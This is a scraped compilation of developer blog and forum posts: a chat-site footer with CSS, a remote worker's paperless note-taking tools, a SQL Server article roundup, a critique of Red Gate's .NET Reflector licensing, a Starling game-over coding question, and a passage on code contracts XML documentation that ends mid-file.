least 18 years of age to access this web site.<br />APumpkinPatch.com is not responsible for the actions of any visitors of this site.<br />APumpkinPatch.com does not endorse or claim ownership to any of the content that is broadcast through this site. </p><h2>A Pumpkin Patch is BRAND NEW and will be developed a lot over the next few months adding video chat games, chat rooms, and more! Check back often it's going to be a lot of fun!</h2> </div> </body> </html> myCSS: html, body { height:100%; } body { text-align:center; font-family: Helvetica, Arial, sans-serif; margin:0; padding:0; overflow:auto; text-align:center; background-color: #ffffff; } object:focus { outline:none; } #homebar { clear:both; text-align: left; width: 100%; height: 40px; background-color:#333333; color:#CCC; overflow:hidden; box-shadow: 0px 0px 14px rgba(0, 0, 0, 0.65); -moz-box-shadow: 0px 0px 14px rgba(0, 0, 0, 0.65); -webkit-box-shadow: 0px 0px 14px rgba(0, 0, 0, 0.65); margin-bottom: 10px; } #mainContainer { height:auto; width:auto; clear:both; } #flashContent { display:none; height:auto; float:left; min-height: 500px; min-width: 340px; } /**this is the div i want to appear as a column net to the scaleable flash content **/ #convosPreview { float:right; width:280px; height:600px; }

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• Going Paperless

  - by Jesse

  One year ago I came to work for a company where the entire development team is 100% “remote”; we’re spread over 3 time zones and each of us works from home. This seems to be an increasingly popular way for people to work and there are many articles and blog posts out there enumerating the advantages and disadvantages of working this way. I had read a lot about telecommuting before accepting this job and felt as if I had a pretty decent idea of what I was getting into, but I’ve encountered a few things over the past year that I did not expect. Among the most surprising by-products of working from home for me has been a dramatic reduction in the amount of paper that I use on a weekly basis. Hoarding In The Workplace Prior to my current telecommute job I worked in what most would consider pretty traditional office environments. I sat in cubicles furnished with an enormous plastic(ish) modular desks, had a mediocre (at best) PC workstation, and had ready access to a seemingly endless supply of legal pads, pens, staplers and paper clips. The ready access to paper, countless conference room meetings, and abundance of available surface area on my desk and in drawers created a perfect storm for wasting paper. I brought a pad of paper with me to every meeting I ever attended, scrawled some brief notes, and then tore that sheet off to keep next to my keyboard to follow up on any needed action items. Once my immediate need for the notes was fulfilled, that sheet would get shuffled off into a corner of my desk or filed away in a drawer “just in case”. I would guess that for all of the notes that I ever filed away, I might have actually had to dig up and refer to 2% of them (and that’s probably being very generous). That said, on those rare occasions that I did have to dig something up from old notes, it was usually pretty important and I ended up being very glad that I saved them. It was only when I would leave a job or move desks that I would finally gather all those notes together and take them to shredding bin to be disposed of. When I left my last job the amount of paper I had accumulated over my three years there was absurd, and I knew coworkers who had substance-abuse caliber paper wasting addictions that made my bad habit look like nail-biting in comparison. A Product Of My Environment I always hated using all of this paper, but simply couldn’t bring myself to stop. It would look bad if I showed up to an important conference room meeting without a pad of paper. What if someone said something profound! Plus, everyone else always brought paper with them. If you saw someone walking down the hallway with a pad of paper in hand you knew they must be on their way to a conference room meeting. Some people even had fancy looking portfolio notebook sheaths that gave their legal pads all the prestige of a briefcase. No one ever worried about running out of fresh paper because there was an endless supply, and there certainly was no shortage of places to store and file used paper. In short, the traditional office was setup for using tons and tons of paper; it’s baked into the culture there. For that reason, it didn’t take long for me to kick the paper habit once I started working from home. In my home office, desk and drawer space are at a premium. I don’t have the budget (or the tolerance) for huge modular office furniture in my spare bedroom. I also no longer have access to a bottomless pit of office supplies stock piled in cabinets and closets. If I want to use some paper, I have to go out and buy it. Finally (and most importantly), all of the meetings that I have to attend these days are “virtual”. We use instant messaging, VOIP, video conferencing, and e-mail to communicate with each other. All I need to take notes during a meeting is my computer, which I happen to be sitting right in front of all day. I don’t have any hard numbers for this, but my gut feeling is that I actually take a lot more notes now than I ever did when I worked in an office. The big difference is I don’t have to use any paper to do so. This makes it far easier to keep important information safe and organized. The Right Tool For The Job When I first started working from home I tried to find a single application that would fill the gap left by the pen and paper that I always had at my desk when I worked in an office. Well, there are no silver bullets and I’ve evolved my approach over time to try and find the best tool for the job at hand. Here’s a quick summary of how I take notes and keep everything organized. Notepad++ – This is the first application I turn to when I feel like there’s some bit of information that I need to write down and save. I use Launchy, so opening Notepad++ and creating a new file only takes a few keystrokes. If I find that the information I’m trying to get down requires a more sophisticated application I escalate as needed. The Desktop – By default, I save every file or other bit of information to the desktop. Anyone who has ever had to fix their parents computer before knows that this is a dangerous game (any file my mother has ever worked on is saved directly to the desktop and rarely moves anywhere else). I agree that storing things on the desktop isn’t a great long term approach to keeping organized, which is why I treat my desktop a bit like my e-mail inbox. I strive to keep both empty (or as close to empty as I possibly can). If something is on my desktop, it means that it’s something relevant to a task or project that I’m currently working on. About once a week I take things that I’m not longer working on and put them into my ‘Notes’ folder. The ‘Notes’ Folder – As I work on a task, I tend to accumulate multiple files associated with that task. For example, I might have a bit of SQL that I’m working on to gather data for a new report, a quick C# method that I came up with but am not yet ready to commit to source control, a bulleted list of to-do items in a .txt file, etc. If the desktop starts to get too cluttered, I create a new sub-folder in my ‘Notes’ folder. Each sub-folder’s name is the current date followed by a brief description of the task or project. Then all files related to that task or project go into that sub folder. By using the date as the first part of the folder name, these folders are automatically sorted in reverse chronological order. This means that things I worked on recently will generally be near the top of the list. Using the built-in Windows search functionality I now have a pretty quick and easy way to try and find something that I worked on a week ago or six months ago. Dropbox – Dropbox is a free service that lets you store up to 2GB of files “in the cloud” and have those files synced to all of the different computers that you use. My ‘Notes’ folder lives in Dropbox, meaning that it’s contents are constantly backed up and are always available to me regardless of which computer I’m using. They also have a pretty decent iPhone application that lets you browse and view all of the files that you have stored there. The free 2GB edition is probably enough for just storing notes, but I also pay $99/year for the 50GB storage upgrade and keep all of my music, e-books, pictures, and documents in Dropbox. It’s a fantastic service and I highly recommend it. Evernote – I use Evernote mostly to organize information that I access on a fairly regular basis. For example, my Evernote account has a running grocery shopping list, recipes that my wife and I use a lot, and contact information for people I contact infrequently enough that I don’t want to keep them in my phone. I know some people that keep nearly everything in Evernote, but there’s something about it that I find a bit clunky, so I tend to use it sparingly. Google Tasks – One of my biggest paper wasting habits was keeping a running task-list next to my computer at work. Every morning I would sit down, look at my task list, cross off what was done and add new tasks that I thought of during my morning commute. This usually resulted in having to re-copy the task list onto a fresh sheet of paper when I was done. I still keep a running task list at my desk, but I’ve started using Google Tasks instead. This is a dead-simple web-based application for quickly adding, deleting, and organizing tasks in a simple checklist style. You can quickly move tasks up and down on the list (which I use for prioritizing), and even create sub-tasks for breaking down larger tasks into smaller pieces. Balsamiq Mockups – This is a simple and lightweight tool for creating drawings of user interfaces. It’s great for sketching out a new feature, brainstorm the layout of a interface, or even draw up a quick sequence diagram. I’m terrible at drawing, so Balsamiq Mockups not only lets me create sketches that other people can actually understand, but it’s also handy because you can upload a sketch to a common location for other team members to access. I can honestly say that using these tools (and having limited resources at home) have lead me to cut my paper usage down to virtually none. If I ever were to return to a traditional office workplace (hopefully never!) I’d try to employ as many of these applications and techniques as I could to keep paper usage low. I feel far less cluttered and far better organized now.

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• SQL SERVER – Weekly Series – Memory Lane – #039

  - by Pinal Dave

  Here is the list of selected articles of SQLAuthority.com across all these years. Instead of just listing all the articles I have selected a few of my most favorite articles and have listed them here with additional notes below it. Let me know which one of the following is your favorite article from memory lane. 2007 FQL – Facebook Query Language Facebook list following advantages of FQL: Condensed XML reduces bandwidth and parsing costs. More complex requests can reduce the number of requests necessary. Provides a single consistent, unified interface for all of your data. It’s fun! UDF – Get the Day of the Week Function The day of the week can be retrieved in SQL Server by using the DatePart function. The value returned by the function is between 1 (Sunday) and 7 (Saturday). To convert this to a string representing the day of the week, use a CASE statement. UDF – Function to Get Previous And Next Work Day – Exclude Saturday and Sunday While reading ColdFusion blog of Ben Nadel Getting the Previous Day In ColdFusion, Excluding Saturday And Sunday, I realize that I use similar function on my SQL Server Database. This function excludes the Weekends (Saturday and Sunday), and it gets previous as well as next work day. Complete Series of SQL Server Interview Questions and Answers Data Warehousing Interview Questions and Answers – Introduction Data Warehousing Interview Questions and Answers – Part 1 Data Warehousing Interview Questions and Answers – Part 2 Data Warehousing Interview Questions and Answers – Part 3 Data Warehousing Interview Questions and Answers Complete List Download 2008 Introduction to Log Viewer In SQL Server all the windows event logs can be seen along with SQL Server logs. Interface for all the logs is same and can be launched from the same place. This log can be exported and filtered as well. DBCC SHRINKFILE Takes Long Time to Run If you are DBA who are involved with Database Maintenance and file group maintenance, you must have experience that many times DBCC SHRINKFILE operations takes a long time but any other operations with Database are relatively quicker. mssqlsystemresource – Resource Database The purpose of resource database is to facilitates upgrading to the new version of SQL Server without any hassle. In previous versions whenever version of SQL Server was upgraded all the previous version system objects needs to be dropped and new version system objects to be created. 2009 Puzzle – Write Script to Generate Primary Key and Foreign Key In SQL Server Management Studio (SSMS), there is no option to script all the keys. If one is required to script keys they will have to manually script each key one at a time. If database has many tables, generating one key at a time can be a very intricate task. I want to throw a question to all of you if any of you have scripts for the same purpose. Maximizing View of SQL Server Management Studio – Full Screen – New Screen I had explained the following two different methods: 1) Open Results in Separate Tab - This is a very interesting method as result pan shows up in a different tab instead of the splitting screen horizontally. 2) Open SSMS in Full Screen - This works always and to its best. Not many people are aware of this method; hence, very few people use it to enhance performance. 2010 Find Queries using Parallelism from Cached Plan T-SQL script gets all the queries and their execution plan where parallelism operations are kicked up. Pay attention there is TOP 10 is used, if you have lots of transactional operations, I suggest that you change TOP 10 to TOP 50 This is the list of the all the articles in the series of computed columns. SQL SERVER – Computed Column – PERSISTED and Storage This article talks about how computed columns are created and why they take more storage space than before. SQL SERVER – Computed Column – PERSISTED and Performance This article talks about how PERSISTED columns give better performance than non-persisted columns. SQL SERVER – Computed Column – PERSISTED and Performance – Part 2 This article talks about how non-persisted columns give better performance than PERSISTED columns. SQL SERVER – Computed Column and Performance – Part 3 This article talks about how Index improves the performance of Computed Columns. SQL SERVER – Computed Column – PERSISTED and Storage – Part 2 This article talks about how creating index on computed column does not grow the row length of table. SQL SERVER – Computed Columns – Index and Performance This article summarized all the articles related to computed columns. 2011 SQL SERVER – Interview Questions and Answers – Frequently Asked Questions – Data Warehousing Concepts – Day 21 of 31 What is Data Warehousing? What is Business Intelligence (BI)? What is a Dimension Table? What is Dimensional Modeling? What is a Fact Table? What are the Fundamental Stages of Data Warehousing? What are the Different Methods of Loading Dimension tables? Describes the Foreign Key Columns in Fact Table and Dimension Table? What is Data Mining? What is the Difference between a View and a Materialized View? SQL SERVER – Interview Questions and Answers – Frequently Asked Questions – Data Warehousing Concepts – Day 22 of 31 What is OLTP? What is OLAP? What is the Difference between OLTP and OLAP? What is ODS? What is ER Diagram? SQL SERVER – Interview Questions and Answers – Frequently Asked Questions – Data Warehousing Concepts – Day 23 of 31 What is ETL? What is VLDB? Is OLTP Database is Design Optimal for Data Warehouse? If denormalizing improves Data Warehouse Processes, then why is the Fact Table is in the Normal Form? What are Lookup Tables? What are Aggregate Tables? What is Real-Time Data-Warehousing? What are Conformed Dimensions? What is a Conformed Fact? How do you Load the Time Dimension? What is a Level of Granularity of a Fact Table? What are Non-Additive Facts? What is a Factless Facts Table? What are Slowly Changing Dimensions (SCD)? SQL SERVER – Interview Questions and Answers – Frequently Asked Questions – Data Warehousing Concepts – Day 24 of 31 What is Hybrid Slowly Changing Dimension? What is BUS Schema? What is a Star Schema? What Snow Flake Schema? Differences between the Star and Snowflake Schema? What is Difference between ER Modeling and Dimensional Modeling? What is Degenerate Dimension Table? Why is Data Modeling Important? What is a Surrogate Key? What is Junk Dimension? What is a Data Mart? What is the Difference between OLAP and Data Warehouse? What is a Cube and Linked Cube with Reference to Data Warehouse? What is Snapshot with Reference to Data Warehouse? What is Active Data Warehousing? What is the Difference between Data Warehousing and Business Intelligence? What is MDS? Explain the Paradigm of Bill Inmon and Ralph Kimball. SQL SERVER – Azure Interview Questions and Answers – Guest Post by Paras Doshi – Day 25 of 31 Paras Doshi has submitted 21 interesting question and answers for SQL Azure. 1.What is SQL Azure? 2.What is cloud computing? 3.How is SQL Azure different than SQL server? 4.How many replicas are maintained for each SQL Azure database? 5.How can we migrate from SQL server to SQL Azure? 6.Which tools are available to manage SQL Azure databases and servers? 7.Tell me something about security and SQL Azure. 8.What is SQL Azure Firewall? 9.What is the difference between web edition and business edition? 10.How do we synchronize On Premise SQL server with SQL Azure? 11.How do we Backup SQL Azure Data? 12.What is the current pricing model of SQL Azure? 13.What is the current limitation of the size of SQL Azure DB? 14.How do you handle datasets larger than 50 GB? 15.What happens when the SQL Azure database reaches Max Size? 16.How many databases can we create in a single server? 17.How many servers can we create in a single subscription? 18.How do you improve the performance of a SQL Azure Database? 19.What is code near application topology? 20.What were the latest updates to SQL Azure service? 21.When does a workload on SQL Azure get throttled? SQL SERVER – Interview Questions and Answers – Guest Post by Malathi Mahadevan – Day 26 of 31 Malachi had asked a simple question which has several answers. Each answer makes you think and ponder about the reality of the IT world. Look at the simple question – ‘What is the toughest challenge you have faced in your present job and how did you handle it’? and its various answers. Each answer has its own story. SQL SERVER – Interview Questions and Answers – Guest Post by Rick Morelan – Day 27 of 31 Rick Morelan of Joes2Pros has written an excellent blog post on the subject how to find top N values. Most people are fully aware of how the TOP keyword works with a SELECT statement. After years preparing so many students to pass the SQL Certification I noticed they were pretty well prepared for job interviews too. Yes, they would do well in the interview but not great. There seemed to be a few questions that would come up repeatedly for almost everyone. Rick addresses similar questions in his lucid writing skills. 2012 Observation of Top with Index and Order of Resultset SQL Server has lots of things to learn and share. It is amazing to see how people evaluate and understand different techniques and styles differently when implementing. The real reason may be absolutely different but we may blame something totally different for the incorrect results. Read the blog post to learn more. How do I Record Video and Webcast How to Convert Hex to Decimal or INT Earlier I asked regarding a question about how to convert Hex to Decimal. I promised that I will post an answer with Due Credit to the author but never got around to post a blog post around it. Read the original post over here SQL SERVER – Question – How to Convert Hex to Decimal. Query to Get Unique Distinct Data Based on Condition – Eliminate Duplicate Data from Resultset The natural reaction will be to suggest DISTINCT or GROUP BY. However, not all the questions can be solved by DISTINCT or GROUP BY. Let us see the following example, where a user wanted only latest records to be displayed. Let us see the example to understand further. Reference: Pinal Dave (http://blog.sqlauthority.com) Filed under: Memory Lane, PostADay, SQL, SQL Authority, SQL Query, SQL Server, SQL Tips and Tricks, T SQL, Technology

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• The Red Gate and .NET Reflector Debacle

  - by Rick Strahl

  About a month ago Red Gate – the company who owns the NET Reflector tool most .NET devs use at one point or another – decided to change their business model for Reflector and take the product from free to a fully paid for license model. As a bit of history: .NET Reflector was originally created by Lutz Roeder as a free community tool to inspect .NET assemblies. Using Reflector you can examine the types in an assembly, drill into type signatures and quickly disassemble code to see how a particular method works.  In case you’ve been living under a rock and you’ve never looked at Reflector, here’s what it looks like drilled into an assembly from disk with some disassembled source code showing: Note that you get tons of information about each element in the tree, and almost all related types and members are clickable both in the list and source view so it’s extremely easy to navigate and follow the code flow even in this static assembly only view. For many year’s Lutz kept the the tool up to date and added more features gradually improving an already amazing tool and making it better. Then about two and a half years ago Red Gate bought the tool from Lutz. A lot of ruckus and noise ensued in the community back then about what would happen with the tool and… for the most part very little did. Other than the incessant update notices with prominent Red Gate promo on them life with Reflector went on. The product didn’t die and and it didn’t go commercial or to a charge model. When .NET 4.0 came out it still continued to work mostly because the .NET feature set doesn’t drastically change how types behave.  Then a month back Red Gate started making noise about a new Version Version 7 which would be commercial. No more free version - and a shit storm broke out in the community. Now normally I’m not one to be critical of companies trying to make money from a product, much less for a product that’s as incredibly useful as Reflector. There isn’t day in .NET development that goes by for me where I don’t fire up Reflector. Whether it’s for examining the innards of the .NET Framework, checking out third party code, or verifying some of my own code and resources. Even more so recently I’ve been doing a lot of Interop work with a non-.NET application that needs to access .NET components and Reflector has been immensely valuable to me (and my clients) if figuring out exact type signatures required to calling .NET components in assemblies. In short Reflector is an invaluable tool to me. Ok, so what’s the problem? Why all the fuss? Certainly the $39 Red Gate is trying to charge isn’t going to kill any developer. If there’s any tool in .NET that’s worth $39 it’s Reflector, right? Right, but that’s not the problem here. The problem is how Red Gate went about moving the product to commercial which borders on the downright bizarre. It’s almost as if somebody in management wrote a slogan: “How can we piss off the .NET community in the most painful way we can?” And that it seems Red Gate has a utterly succeeded. People are rabid, and for once I think that this outrage isn’t exactly misplaced. Take a look at the message thread that Red Gate dedicated from a link off the download page. Not only is Version 7 going to be a paid commercial tool, but the older versions of Reflector won’t be available any longer. Not only that but older versions that are already in use also will continually try to update themselves to the new paid version – which when installed will then expire unless registered properly. There have also been reports of Version 6 installs shutting themselves down and failing to work if the update is refused (I haven’t seen that myself so not sure if that’s true). In other words Red Gate is trying to make damn sure they’re getting your money if you attempt to use Reflector. There’s a lot of temptation there. Think about the millions of .NET developers out there and all of them possibly upgrading – that’s a nice chunk of change that Red Gate’s sitting on. Even with all the community backlash these guys are probably making some bank right now just because people need to get life to move on. Red Gate also put up a Feedback link on the download page – which not surprisingly is chock full with hate mail condemning the move. Oddly there’s not a single response to any of those messages by the Red Gate folks except when it concerns license questions for the full version. It puzzles me what that link serves for other yet than another complete example of failure to understand how to handle customer relations. There’s no doubt that that all of this has caused some serious outrage in the community. The sad part though is that this could have been handled so much less arrogantly and without pissing off the entire community and causing so much ill-will. People are pissed off and I have no doubt that this negative publicity will show up in the sales numbers for their other products. I certainly hope so. Stupidity ought to be painful! Why do Companies do boneheaded stuff like this? Red Gate’s original decision to buy Reflector was hotly debated but at that the time most of what would happen was mostly speculation. But I thought it was a smart move for any company that is in need of spreading its marketing message and corporate image as a vendor in the .NET space. Where else do you get to flash your corporate logo to hordes of .NET developers on a regular basis?  Exploiting that marketing with some goodwill of providing a free tool breeds positive feedback that hopefully has a good effect on the company’s visibility and the products it sells. Instead Red Gate seems to have taken exactly the opposite tack of corporate bullying to try to make a quick buck – and in the process ruined any community goodwill that might have come from providing a service community for free while still getting valuable marketing. What’s so puzzling about this boneheaded escapade is that the company doesn’t need to resort to underhanded tactics like what they are trying with Reflector 7. The tools the company makes are very good. I personally use SQL Compare, Sql Data Compare and ANTS Profiler on a regular basis and all of these tools are essential in my toolbox. They certainly work much better than the tools that are in the box with Visual Studio. Chances are that if Reflector 7 added useful features I would have been more than happy to shell out my $39 to upgrade when the time is right. It’s Expensive to give away stuff for Free At the same time, this episode shows some of the big problems that come with ‘free’ tools. A lot of organizations are realizing that giving stuff away for free is actually quite expensive and the pay back is often very intangible if any at all. Those that rely on donations or other voluntary compensation find that they amount contributed is absolutely miniscule as to not matter at all. Yet at the same time I bet most of those clamouring the loudest on that Red Gate Reflector feedback page that Reflector won’t be free anymore probably have NEVER made a donation to any open source project or free tool ever. The expectation of Free these days is just too great – which is a shame I think. There’s a lot to be said for paid software and having somebody to hold to responsible to because you gave them some money. There’s an incentive –> payback –> responsibility model that seems to be missing from free software (not all of it, but a lot of it). While there certainly are plenty of bad apples in paid software as well, money tends to be a good motivator for people to continue working and improving products. Reasons for giving away stuff are many but often it’s a naïve desire to share things when things are simple. At first it might be no problem to volunteer time and effort but as products mature the fun goes out of it, and as the reality of product maintenance kicks in developers want to get something back for the time and effort they’re putting in doing non-glamorous work. It’s then when products die or languish and this is painful for all to watch. For Red Gate however, I think there was always a pretty good payback from the Reflector acquisition in terms of marketing: Visibility and possible positioning of their products although they seemed to have mostly ignored that option. On the other hand they started this off pretty badly even 2 and a half years back when they aquired Reflector from Lutz with the same arrogant attitude that is evident in the latest episode. You really gotta wonder what folks are thinking in management – the sad part is from advance emails that were circulating, they were fully aware of the shit storm they were inciting with this and I suspect they are banking on the sheer numbers of .NET developers to still make them a tidy chunk of change from upgrades… Alternatives are coming For me personally the single license isn’t a problem, but I actually have a tool that I sell (an interop Web Service proxy generation tool) to customers and one of the things I recommend to use with has been Reflector to view assembly information and to find which Interop classes to instantiate from the non-.NET environment. It’s been nice to use Reflector for this with its small footprint and zero-configuration installation. But now with V7 becoming a paid tool that option is not going to be available anymore. Luckily it looks like the .NET community is jumping to it and trying to fill the void. Amidst the Red Gate outrage a new library called ILSpy has sprung up and providing at least some of the core functionality of Reflector with an open source library. It looks promising going forward and I suspect there will be a lot more support and interest to support this project now that Reflector has gone over to the ‘dark side’…© Rick Strahl, West Wind Technologies, 2005-2011

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• Game Over function is not working Starling

  - by aNgeLyN omar

  I've been following a tutorial over the web but it somehow did not show something about creating a game over function. I am new to the Starling framework and Actionscript so I'm kind of still trying to find a way to make it work. Here's the complete snippet of the code. package screens { import flash.geom.Rectangle; import flash.utils.getTimer; import events.NavigationEvent; import objects.GameBackground; import objects.Hero; import objects.Item; import objects.Obstacle; import starling.display.Button; import starling.display.Image; import starling.display.Sprite; import starling.events.Event; import starling.events.Touch; import starling.events.TouchEvent; import starling.text.TextField; import starling.utils.deg2rad; public class InGame extends Sprite { private var screenInGame:InGame; private var screenWelcome:Welcome; private var startButton:Button; private var playAgain:Button; private var bg:GameBackground; private var hero:Hero; private var timePrevious:Number; private var timeCurrent:Number; private var elapsed:Number; private var gameState:String; private var playerSpeed:Number = 0; private var hitObstacle:Number = 0; private const MIN_SPEED:Number = 650; private var scoreDistance:int; private var obstacleGapCount:int; private var gameArea:Rectangle; private var touch:Touch; private var touchX:Number; private var touchY:Number; private var obstaclesToAnimate:Vector.<Obstacle>; private var itemsToAnimate:Vector.<Item>; private var scoreText:TextField; private var remainingLives:TextField; private var gameOverText:TextField; private var iconSmall:Image; static private var lives:Number = 2; public function InGame() { super(); this.addEventListener(starling.events.Event.ADDED_TO_STAGE, onAddedToStage); } private function onAddedToStage(event:Event):void { this.removeEventListener(Event.ADDED_TO_STAGE, onAddedToStage); drawGame(); scoreText = new TextField(300, 100, "Score: 0", "MyFontName", 35, 0xD9D919, true); remainingLives = new TextField(600, 100, "Lives: " + lives +" X ", "MyFontName", 35, 0xD9D919, true); iconSmall = new Image(Assets.getAtlas().getTexture("darnahead1")); iconSmall.x = 360; iconSmall.y = 40; this.addChild(iconSmall); this.addChild(scoreText); this.addChild(remainingLives); } private function drawGame():void { bg = new GameBackground(); this.addChild(bg); hero = new Hero(); hero.x = stage.stageHeight / 2; hero.y = stage.stageWidth / 2; this.addChild(hero); startButton = new Button(Assets.getAtlas().getTexture("startButton")); startButton.x = stage.stageWidth * 0.5 - startButton.width * 0.5; startButton.y = stage.stageHeight * 0.5 - startButton.height * 0.5; this.addChild(startButton); gameArea = new Rectangle(0, 100, stage.stageWidth, stage.stageHeight - 250); } public function disposeTemporarily():void { this.visible = false; } public function initialize():void { this.visible = true; this.addEventListener(Event.ENTER_FRAME, checkElapsed); hero.x = -stage.stageWidth; hero.y = stage.stageHeight * 0.5; gameState ="idle"; playerSpeed = 0; hitObstacle = 0; bg.speed = 0; scoreDistance = 0; obstacleGapCount = 0; obstaclesToAnimate = new Vector.<Obstacle>(); itemsToAnimate = new Vector.<Item>(); startButton.addEventListener(Event.TRIGGERED, onStartButtonClick); //var mainStage:InGame =InGame.current.nativeStage; //mainStage.dispatchEvent(new Event(Event.COMPLETE)); //playAgain.addEventListener(Event.TRIGGERED, onRetry); } private function onStartButtonClick(event:Event):void { startButton.visible = false; startButton.removeEventListener(Event.TRIGGERED, onStartButtonClick); launchHero(); } private function launchHero():void { this.addEventListener(TouchEvent.TOUCH, onTouch); this.addEventListener(Event.ENTER_FRAME, onGameTick); } private function onTouch(event:TouchEvent):void { touch = event.getTouch(stage); touchX = touch.globalX; touchY = touch.globalY; } private function onGameTick(event:Event):void { switch(gameState) { case "idle": if(hero.x < stage.stageWidth * 0.5 * 0.5) { hero.x += ((stage.stageWidth * 0.5 * 0.5 + 10) - hero.x) * 0.05; hero.y = stage.stageHeight * 0.5; playerSpeed += (MIN_SPEED - playerSpeed) * 0.05; bg.speed = playerSpeed * elapsed; } else { gameState = "flying"; } break; case "flying": if(hitObstacle <= 0) { hero.y -= (hero.y - touchY) * 0.1; if(-(hero.y - touchY) < 150 && -(hero.y - touchY) > -150) { hero.rotation = deg2rad(-(hero.y - touchY) * 0.2); } if(hero.y > gameArea.bottom - hero.height * 0.5) { hero.y = gameArea.bottom - hero.height * 0.5; hero.rotation = deg2rad(0); } if(hero.y < gameArea.top + hero.height * 0.5) { hero.y = gameArea.top + hero.height * 0.5; hero.rotation = deg2rad(0); } } else { hitObstacle-- cameraShake(); } playerSpeed -= (playerSpeed - MIN_SPEED) * 0.01; bg.speed = playerSpeed * elapsed; scoreDistance += (playerSpeed * elapsed) * 0.1; scoreText.text = "Score: " + scoreDistance; initObstacle(); animateObstacles(); createEggItems(); animateItems(); remainingLives.text = "Lives: "+lives + " X "; if(lives == 0) { gameState = "over"; } break; case "over": gameOver(); break; } } private function gameOver():void { gameOverText = new TextField(800, 400, "Hero WAS KILLED!!!", "MyFontName", 50, 0xD9D919, true); scoreText = new TextField(800, 600, "Score: "+scoreDistance, "MyFontName", 30, 0xFFFFFF, true); this.addChild(scoreText); this.addChild(gameOverText); playAgain = new Button(Assets.getAtlas().getTexture("button_tryAgain")); playAgain.x = stage.stageWidth * 0.5 - startButton.width * 0.5; playAgain.y = stage.stageHeight * 0.75 - startButton.height * 0.75; this.addChild(playAgain); playAgain.addEventListener(Event.TRIGGERED, onRetry); } private function onRetry(event:Event):void { playAgain.visible = false; gameOverText.visible = false; scoreText.visible = false; var btnClicked:Button = event.target as Button; if((btnClicked as Button) == playAgain) { this.dispatchEvent(new NavigationEvent(NavigationEvent.CHANGE_SCREEN, {id: "playnow"}, true)); } disposeTemporarily(); } private function animateItems():void { var itemToTrack:Item; for(var i:uint = 0; i < itemsToAnimate.length; i++) { itemToTrack = itemsToAnimate[i]; itemToTrack.x -= playerSpeed * elapsed; if(itemToTrack.bounds.intersects(hero.bounds)) { itemsToAnimate.splice(i, 1); this.removeChild(itemToTrack); } if(itemToTrack.x < -50) { itemsToAnimate.splice(i, 1); this.removeChild(itemToTrack); } } } private function createEggItems():void { if(Math.random() > 0.95){ var itemToTrack:Item = new Item(Math.ceil(Math.random() * 10)); itemToTrack.x = stage.stageWidth + 50; itemToTrack.y = int(Math.random() * (gameArea.bottom - gameArea.top)) + gameArea.top; this.addChild(itemToTrack); itemsToAnimate.push(itemToTrack); } } private function cameraShake():void { if(hitObstacle > 0) { this.x = Math.random() * hitObstacle; this.y = Math.random() * hitObstacle; } else if(x != 0) { this.x = 0; this.y = 0; lives--; } } private function initObstacle():void { if(obstacleGapCount < 1200) { obstacleGapCount += playerSpeed * elapsed; } else if(obstacleGapCount !=0) { obstacleGapCount = 0; createObstacle(Math.ceil(Math.random() * 5), Math.random() * 1000 + 1000); } } private function animateObstacles():void { var obstacleToTrack:Obstacle; for(var i:uint = 0; i<obstaclesToAnimate.length; i++) { obstacleToTrack = obstaclesToAnimate[i]; if(obstacleToTrack.alreadyHit == false && obstacleToTrack.bounds.intersects(hero.bounds)) { obstacleToTrack.alreadyHit = true; obstacleToTrack.rotation = deg2rad(70); hitObstacle = 30; playerSpeed *= 0.5; } if(obstacleToTrack.distance > 0) { obstacleToTrack.distance -= playerSpeed * elapsed; } else { if(obstacleToTrack.watchOut) { obstacleToTrack.watchOut = false; } obstacleToTrack.x -= (playerSpeed + obstacleToTrack.speed) * elapsed; } if(obstacleToTrack.x < -obstacleToTrack.width || gameState == "over") { obstaclesToAnimate.splice(i, 1); this.removeChild(obstacleToTrack); } } } private function checkElapsed(event:Event):void { timePrevious = timeCurrent; timeCurrent = getTimer(); elapsed = (timeCurrent - timePrevious) * 0.001; } private function createObstacle(type:Number, distance:Number):void{ var obstacle:Obstacle = new Obstacle(type, distance, true, 300); obstacle.x = stage.stageWidth; this.addChild(obstacle); if(type >= 4) { if(Math.random() > 0.5) { obstacle.y = gameArea.top; obstacle.position = "top" } else { obstacle.y = gameArea.bottom - obstacle.height; obstacle.position = "bottom"; } } else { obstacle.y = int(Math.random() * (gameArea.bottom - obstacle.height - gameArea.top)) + gameArea.top; obstacle.position = "middle"; } obstaclesToAnimate.push(obstacle); } } }

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• Enabling XML-documentation for code contracts

  - by DigiMortal

  One nice feature that code contracts offer is updating of code documentation. If you are using source code documenting features of Visual Studio then code contracts may automate some tasks you otherwise have to implement manually. In this posting I will show you some XML documentation files with documented contracts. I will also explain how this feature works. Enabling XML-documentation in project settings As a first thing let’s enable generating of code documentation under project settings. Open project properties, move to Build page and make check to checkbox called “XML documentation file”. Save project settings and rebuild project. When project is built go to bin/Debug folder and open the XML-file. Here is my XML. <?xml version="1.0"?> <doc>     <assembly>         <name>Eneta.Examples.CodeContracts.Testable</name>     </assembly>     <members>         <member name="T:Eneta.Examples.CodeContracts.Testable.Randomizer">             <summary>             Class for generating random integers in user specified range.             </summary>         </member>         <member name="M:Eneta.Examples.CodeContracts.Testable.Randomizer.#ctor(Eneta.Examples.CodeContracts.Testable.IRandomGenerator)">             <summary>             Constructor of Randomizer. Initializes Randomizer class.             </summary>             <param name="generator">Instance of random number generator.</param>         </member>         <member name="M:Eneta.Examples.CodeContracts.Testable.Randomizer.GetRandomFromRangeContracted(System.Int32,System.Int32)">             <summary>             Returns random integer in given range.             </summary>             <param name="min">Minimum value of random integer.</param>             <param name="max">Maximum value of random integer.</param>         </member>     </members> </doc> You can see nothing about code contracts here. Enabling code contracts documentation Code contracts have their own settings and conditions for documentation. Open project properties and move to Code Contracts tab. From “Contract Reference Assembly” dropdown check Build and make check to checkbox “Emit contracts into XML doc file”. And again – save project setting, build the project and move to bin/Debug folder. Now you can see that there are two files for XML-documentation: <assembly name>.XML <assembly name>.old.XML First files is documentation with contracts, second file is original documentation without contracts. Let’s see now what is inside our new XML-documentation file. <?xml version="1.0"?> <doc>   <assembly>     <name>Eneta.Examples.CodeContracts.Testable</name>   </assembly>   <members>     <member name="T:Eneta.Examples.CodeContracts.Testable.Randomizer">       <summary>             Class for generating random integers in user specified range.             </summary>     </member>     <member name="M:Eneta.Examples.CodeContracts.Testable.Randomizer.#ctor(Eneta.Examples.CodeContracts.Testable.IRandomGenerator)">       <summary>             Constructor of Randomizer. Initializes Randomizer class.             </summary>       <param name="generator">Instance of random number generator.</param>     </member>     <member 